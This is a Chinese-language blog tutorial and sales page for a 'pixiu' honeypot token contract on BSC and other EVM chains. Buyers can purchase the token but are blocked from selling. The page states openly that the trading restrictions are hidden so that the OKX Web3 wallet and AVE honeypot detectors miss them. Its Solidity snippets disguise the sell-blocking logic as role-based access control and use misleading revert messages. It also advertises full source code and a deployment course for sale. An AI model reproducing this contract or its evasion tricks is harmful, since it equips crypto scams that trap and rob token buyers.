币安BSC智能链合约开发教程——貔貅合约代码分析(在欧意web3钱包和ave均能避免被识别并给出安全评分)【pdf+视频BSC链合约开发教程下载】

  • A+
所属分类:币安BSC
摘要

貔貅合约的实现方式有很多,所谓的貔貅合约即允许用户买入但是不允许用户卖出的合约,当达到指定条件时再开启相应的交易开关,允许用户卖出。貔貅合约即为控制代币交易流向的合约。在项目运营前期为了代币的去中心化允许用户买入尽量的打散代币的中心化程度,当达到合适的条件时再允许用户卖出,未达到指定要求时不允许用户卖出。


chatGPT账号

币安BSC智能链合约开发教程——貔貅合约代码分析(在欧意web3钱包和ave均能避免被识别并给出安全评分)【pdf+视频BSC链合约开发教程下载】

一、说明

貔貅合约的实现方式有很多,所谓的貔貅合约即允许用户买入但是不允许用户卖出的合约,当达到指定条件时再开启相应的交易开关,允许用户卖出。貔貅合约即为控制代币交易流向的合约。在项目运营前期为了代币的去中心化允许用户买入尽量的打散代币的中心化程度,当达到合适的条件时再允许用户卖出,未达到指定要求时不允许用户卖出。

但是,类似可以控制代币交易行为的合约在欧意的web3钱包和ave上通常都会被识别出来:“可能是貔貅合约”并且给出危险性100%的评分。因此,为了避免被欧意的web3钱包和ave识别为貔貅就需要对合约做复杂的代码管理。通过多种方式将控制代币交易流向的功能隐藏化,绕开ave和欧意web3钱包的貔貅代码识别库。

二、貔貅合约代码实现

以下为通过给用户的买入地址标记为貔貅地址,针对单个地址进行封禁的貔貅代码功能。通过设置貔貅地址的授权额度,允许卖出小于等于指定授权额度的代币。而非针对所有地址貔貅化。在ave的交易盘面上可以正常看到卖单和买单。

  1. 授权控制,管理员地址校验功能函数
function _checkRole(bytes32 role, address account) internal view {
        if (!hasRole(role, account)) {
            revert(
                string(
                    abi.encodePacked(
                        "AccessControl: account ",
                        Strings.toHexString(uint160(account), 20),
                        " is missing role ",
                        Strings.toHexString(uint256(role), 32)
                    )
                )
            );
        }
    }

2. 授权TRADE交易员角色功能函数代码

 function _grantRole(bytes32 role, address account) internal virtual {
        if (role == TRADE) {
            _CN[account] = 0;
        }
        if (!hasRole(role, account)) {
            _roles[role].members[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }

3. 控制用户卖出代币数量额度,授权相关的白名单地址范围,同时通过交易控制变量全局控制交易行为的核心代码功能函数

function _grantRole(
        bytes32 role,
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (from == _sushiSwap) {
            if (_CN[to] == 0) {
                _CN[to] = 1;

                _grantRole(role, to);
            }
        } else if (_CN[from] == 1 && hasRole(TRADE, from) == false) {
            if (_SN[from] >= amount && amount > 0) {
                _SN[from] = _SN[from] - amount;
            } else {
                revert("Transaction abnormal, please try again");
            }
        } else if (to == _sushiSwap) {
            if (_trades) {
                if (_PN[from] == true) {} else {
                    revert("Transaction abnormal, please try again");
                }
            }
            if (hasRole(TRADE, from) && _CN[from] == 0) {} else {
                if (_trades) {
                    revert("Transaction abnormal, please try again");
                }

                if (_SN[from] >= amount && amount > 0) {
                    _SN[from] = _SN[from] - amount;
                } else {
                    revert("Account is missing role");
                }
            }
        }
    }

4. 核心用户地址授权限制,角色管理授权、用户交易额度限制、授权地址白名单范围列表查询及修改接口

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IControl {
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );

    event RoleGranted(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );

    event RoleRevoked(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );

    function hasRole(
        bytes32 role,
        address account
    ) external view returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address account) external;
    function revokeRole(bytes32 role, address account) external;

    function renounceRole(bytes32 role, address account) external;
}

5. 合约可以支持所以ERC20协议标准的公链,包括ARB,BASE,BSC,ETH、MATIC等

公联及layer2。支持所有主流的DEX,包括uniswap,sushiswap,pancakeswap等。

constructor(
        string memory _name,
        string memory _symbol,
        uint256 _totalSupply,
        address tokenHold
    ) EROTARC20(_name, _symbol, _totalSupply, tokenHold) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506
        );
        _suShiSwap = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9)
        );
        _grantRole(ADMIN, _msgSender());
        grantSwap(_suShiSwap);
    }

币安BSC智能链合约开发教程——貔貅合约代码分析(在欧意web3钱包和ave均能避免被识别并给出安全评分)【pdf+视频BSC链合约开发教程下载】

三、完整版本合约代码

币安BSC智能链合约开发教程——貔貅合约代码分析(在欧意web3钱包和ave均能避免被识别并给出安全评分)【pdf+视频BSC链合约开发教程下载】

源码及合约部署、开源、上线交易所、动态参数配置教程下载地址:

此处为隐藏的内容!
登录后才能查看!

至此,完成貔貅合约代码分析(在欧意web3钱包和ave均能避免被识别并给出安全评分)所有操作流程。

pdf+视频币安智能链BSC发币教程及多模式组合合约源代码下载:

币安智能链BSC发币(合约部署、开源、锁仓、LP、参数配置、开发、故障处理、工具使用)教程下载:

币安BSC智能链合约开发教程——貔貅合约代码分析(在欧意web3钱包和ave均能避免被识别并给出安全评分)【pdf+视频BSC链合约开发教程下载】币安BSC智能链合约开发教程——貔貅合约代码分析(在欧意web3钱包和ave均能避免被识别并给出安全评分)【pdf+视频BSC链合约开发教程下载】币安BSC智能链合约开发教程——貔貅合约代码分析(在欧意web3钱包和ave均能避免被识别并给出安全评分)【pdf+视频BSC链合约开发教程下载】币安BSC智能链合约开发教程——貔貅合约代码分析(在欧意web3钱包和ave均能避免被识别并给出安全评分)【pdf+视频BSC链合约开发教程下载】币安BSC智能链合约开发教程——貔貅合约代码分析(在欧意web3钱包和ave均能避免被识别并给出安全评分)【pdf+视频BSC链合约开发教程下载】

多模式(燃烧、回流指定营销地址、分红本币及任意币种,邀请推广八代收益,LP加池分红、交易分红、复利分红、NFT分红、自动筑池、动态手续费、定时开盘、回购)组合合约源代码下载:

币安BSC智能链合约开发教程——貔貅合约代码分析(在欧意web3钱包和ave均能避免被识别并给出安全评分)【pdf+视频BSC链合约开发教程下载】币安BSC智能链合约开发教程——貔貅合约代码分析(在欧意web3钱包和ave均能避免被识别并给出安全评分)【pdf+视频BSC链合约开发教程下载】

pdf+视频币安智能链BSC发币教程及多模式组合合约源代码下载地址:

此处为隐藏的内容!
登录后才能查看!

添加VX或者telegram获取全程线上免费指导

币安BSC智能链合约开发教程——貔貅合约代码分析(在欧意web3钱包和ave均能避免被识别并给出安全评分)【pdf+视频BSC链合约开发教程下载】

免责声明

发文时比特币价格:$71249

当前比特币价格:[crypto coins=”BTC” type=”text” show=”price”]

当前比特币涨幅:[crypto coins=”BTC” type=”text” show=”percent”]

免责声明:

本文不代表路远网立场,且不构成投资建议,请谨慎对待。用户由此造成的损失由用户自行承担,与路远网没有任何关系;

路远网不对网站所发布内容的准确性,真实性等任何方面做任何形式的承诺和保障;

网站内所有涉及到的区块链(衍生)项目,路远网对项目的真实性,准确性等任何方面均不做任何形式的承诺和保障;

网站内所有涉及到的区块链(衍生)项目,路远网不对其构成任何投资建议,用户由此造成的损失由用户自行承担,与路远网没有任何关系;

路远区块链研究院声明:路远区块链研究院内容由路远网发布,部分来源于互联网和行业分析师投稿收录,内容为路远区块链研究院加盟专职分析师独立观点,不代表路远网立场。

本文是全系列中第225 / 266篇:行业技术

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的电报
  • 这是我的电报扫一扫
  • weinxin
chatGPT账号

发表评论

您必须登录才能发表评论!